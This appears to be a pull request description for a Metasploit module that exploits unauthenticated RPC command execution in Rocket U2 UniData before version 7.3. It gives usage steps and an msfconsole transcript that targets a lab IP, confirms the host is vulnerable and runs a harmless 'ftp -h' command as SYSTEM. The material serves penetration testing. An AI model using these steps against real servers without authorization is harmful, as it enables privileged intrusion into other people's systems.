Add Rocket U2 Unidata Arbitrary Command Execution Exploit

This module makes use of a 2 year old vulnerability in Rocket U2 Unidata, originally discovered by Ron Bowes of Tenable Network Security.

The exploit allows a remote attacker to execute arbitrary system commands as root (on *nix) or NT\System on Windows. This vulnerabilty exists due to the fact that Rocket U2 Unidata < 7.3 does not require an authentication packet prior to using the 0x06 opcode for command execution.

* Homepage: www.rocketsoftware.com/products/rocket-unidata
* Tested on: Version 7.2 on Windows Server 2003
* Usage:
  * Find a system running Rocket U2 Unidata version 7.2 or before
  * Set the RHOST and PAYLOAD
  * Exploit!

![rpcunidata](https://cloud.githubusercontent.com/assets/117990/5308372/39304e4a-7bd3-11e4-9e14-330c59891015.png)

## Example Output

```
msf > use exploit/multi/misc/rpc_unidata_command_exec
msf exploit(rpc_unidata_command_exec) > set RHOST 10.1.114.111
RHOST => 10.1.114.111
msf exploit(rpc_unidata_command_exec) > set PAYLOAD cmd/windows/generic
PAYLOAD => cmd/windows/generic
msf exploit(rpc_unidata_command_exec) > set CMD ftp -h
CMD => ftp -h
msf exploit(rpc_unidata_command_exec) > info

       Name: Rocket U2 UniData Less Than 7.3 unidata72 RPC Interface Call Parsing Arbitrary Command Execution
     Module: exploit/multi/misc/rpc_unidata_command_exec
   Platform: Unix, Windows
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-06-09

Provided by:
  Ron Bowes
  Justin (Jaywalker) Williams

Available targets:
  Id  Name
  --  ----
  0   unidata72

Basic options:
  Name   Current Setting  Required  Description
  ----   ---------------  --------  -----------
  RHOST  10.1.114.111     yes       The target address
  RPORT  31438            yes       The target port

Payload information:
  Avoid: 0 characters

Description:
  The UniData RPC server listening on the remote host does not enforce 
  authentication on the unidata72 interface. A remote, unauthenticated 
  attacker can exploit this issue and execute arbitrary code on the 
  host as a privileged user.

References:
  http://www.osvdb.org/82942
  http://www.securityfocus.com/bid/53974
  http://bot24.blogspot.com/2012/06/authentication-bypass-in-unidata-leads.html
  https://www.upsploit.com/index.php/advisories/view/UPS-2012-0012

msf exploit(rpc_unidata_command_exec) > check
[+] 10.1.114.111:31438 - The target is vulnerable.
msf exploit(rpc_unidata_command_exec) > exploit

[*] 10.1.114.111:31438 - Attempting to run command...
Command Response:

Transfers files to and from a computer running an FTP server service
(sometimes called a daemon). Ftp can be used interactively.

FTP [-v] [-d] [-i] [-n] [-g] [-s:filename] [-a] [-A] [-x:sendbuffer] [-r:recvbuffer] [-b:asyncbuffers] [-w:windowsize] [host]

  -v              Suppresses display of remote server responses.
  -n              Suppresses auto-login upon initial connection.
  -i              Turns off interactive prompting during multiple file
                  transfers.
  -d              Enables debugging.
  -g              Disables filename globbing (see GLOB command).
  -s:filename     Specifies a text file containing FTP commands; the
                  commands will automatically run after FTP starts.
  -a              Use any local interface when binding data connection.
  -A              login as anonymous.
  -x:send sockbuf Overrides the default SO_SNDBUF size of 8192.
  -r:recv sockbuf Overrides the default SO_RCVBUF size of 8192.
  -b:async count  Overrides the default async count of 3
  -w:windowsize   Overrides the default transfer buffer size of 65535.
  host            Specifies the host name or IP address of the remote
                  host to connect to.

Notes:
  - mget and mput commands take y/n/q for yes/no/quit.
  - Use Control-C to abort commands.

[*] Exploit completed, but no session was created.
msf exploit(rpc_unidata_command_exec) > 
```

Ideally, you want to randomize what you echo.